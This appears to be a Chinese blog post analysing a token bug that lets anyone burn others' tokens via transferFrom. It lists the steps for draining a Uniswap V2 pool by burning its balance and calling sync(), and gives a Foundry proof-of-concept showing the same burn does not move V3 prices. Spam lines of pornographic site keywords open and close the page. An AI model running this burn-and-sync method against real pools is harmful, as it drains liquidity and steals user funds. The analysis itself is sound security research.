<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      【技術分析】UniV3 Pool 對 burnable 漏洞代幣的防護機制

      代幣漏洞

      攻擊者可以通過 transferFrom 函數 burn 任意賬戶的 Vul 代幣。
      image

      因為本問涉及的漏洞可導致用戶資產損失,所以不提供代幣和 Pool 的地址,代幣名稱用 Vul 代幣代替。

      利用方式

      在 V2 Pool 場景下,針對 burnable 漏洞的利用方式

      1. 購買少量 Vul 代幣
      2. burn 掉大量 V2 Pool 中的 Vul 代幣
      3. 調用 Pool.sync() 函數更新 reserve 變量,對價格進行操控
      4. 用步驟 1 中的 Vul 代幣,以步驟 3 中的價格,換出大量的 WETH 代幣完成獲利

      但是以上的操作在 V3 中是不可行的,因為 V3 版本只根據 mint 操作中更新的 Position 來計算價格,且不提供 sync 類型的函數來根據 balance 來更新當前的價格。

      V3 不提供 syncskim 等直接操作 Pool balance 的函數,且 V3 的 mintburnswapflash 等操作也不會根據 Pool balance 來更新價格。

      所以即使把 V3 Pool 中的 token0 通過漏洞 burn 掉,依然不會影響到 swap 時候的價格,只會導致無法換出 token0。也就是說 burnable 漏洞無法在 V3 Pool 上被用來獲利。

      PoC 驗證

      通過 foundry 來進行驗證,查看 burn 漏洞對 V3 Pool 價格的影響

      function test_HackVul() public {
          IUniswapV3Pool pool = IUniswapV3Pool(...);
          ISwapRouter router = ISwapRouter(...);
          IERC20(WETH).approve(address(router), type(uint256).max);
          IERC20(Vul).approve(address(router), type(uint256).max);
          IERC20 vulnToken = IERC20(pool.token0());
      
          uint160 sqrtPriceX96;
      
          // Initial Price
          (sqrtPriceX96,,,,,,) = pool.slot0();
          console.log("sqrtPriceX96(Initial Price):", sqrtPriceX96);
      
          // Swap WETH -> Vul
          ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({
              tokenIn: WETH,
              tokenOut: Vul,
              fee: 100, 
              recipient: address(this),
              deadline: block.timestamp,
              amountIn: 1e18,
              amountOutMinimum: 0,
              sqrtPriceLimitX96: 0
          });
          router.exactInputSingle(params);
      
          // Price before burn
          (sqrtPriceX96,,,,,,) = pool.slot0();
          console.log("sqrtPriceX96(Price before burn):", sqrtPriceX96);
      
          // Burn Vul from pool
          vulnToken.transferFrom(address(pool), address(0), IERC20(vulnToken).balanceOf(address(pool)));
      
          // Price after burn
          (sqrtPriceX96,,,,,,) = pool.slot0();
          console.log("sqrtPriceX96(Price after burn):", sqrtPriceX96);
      
          // Swap Vul -> WETH
          ISwapRouter.ExactInputSingleParams memory params2 = ISwapRouter.ExactInputSingleParams({
              tokenIn: Vul,
              tokenOut: WETH,
              fee: 100, 
              recipient: address(this),
              deadline: block.timestamp,
              amountIn: vulnToken.balanceOf(address(this)),
              amountOutMinimum: 0,
              sqrtPriceLimitX96: 0
          });
          router.exactInputSingle(params2);
      
          // The price was not affected by the vulnerability
          (sqrtPriceX96,,,,,,) = pool.slot0();
          console.log("sqrtPriceX96(The price was not affected):", sqrtPriceX96);
      }
      

      結果顯示 burn 掉 V3 Pool 中的代幣并不會影響價格

      [PASS] test_HackVul() (gas: 483668)
      Logs:
        sqrtPriceX96(Initial Price): 9636092331332244639264478
        sqrtPriceX96(Price before burn): 12558296738001735018391306
        sqrtPriceX96(Price after burn): 12558296738001735018391306
        sqrtPriceX96(The price was not affected): 9636316559882523596720639
      
      posted @ 2024-11-23 21:15  ACai_sec  閱讀(77)  評論(0)    收藏  舉報
      主站蜘蛛池模板: 亚洲中文字幕第二十三页| 国产爽视频一区二区三区| 成武县| 国产午夜福利在线观看播放| 成人深夜节目在线观看| 日本中文字幕有码在线视频| 欧美极品色午夜在线视频| 久久精品国产国产精品四凭| 国内自拍视频一区二区三区| 久久亚洲精品11p| 乱女乱妇熟女熟妇综合网| 国产成人精品午夜福利在线观看| 不卡一区二区三区在线视频| av午夜福利一片免费看久久| 亚洲精品国产免费av| 伊人久久久av老熟妇色| 看全黄大色黄大片视频| 伊人精品成人久久综合97| 亚洲精品美女久久久久99| 亚洲av中文乱码一区二| 无套后入极品美女少妇| 国产在线欧美日韩精品一区| 亚洲天堂一区二区成人在线| 久久99精品久久久大学生| 人人妻人人澡人人爽| 陵水| 亚洲香蕉网久久综合影视| 国产乱妇乱子视频在播放| 宅男久久精品国产亚洲av麻豆| 亚洲最大av一区二区| а天堂中文最新一区二区三区| 国产精品一区二区三区91| 虎白女粉嫩尤物福利视频| 精品国产丝袜自在线拍国语| 国产69精品久久久久人妻| 亚洲AV永久中文无码精品综合| 天天爽夜夜爽人人爽曰| 中文字幕日韩国产精品| av一区二区中文字幕| 激情综合网激情国产av| 亚洲av无码片在线播放|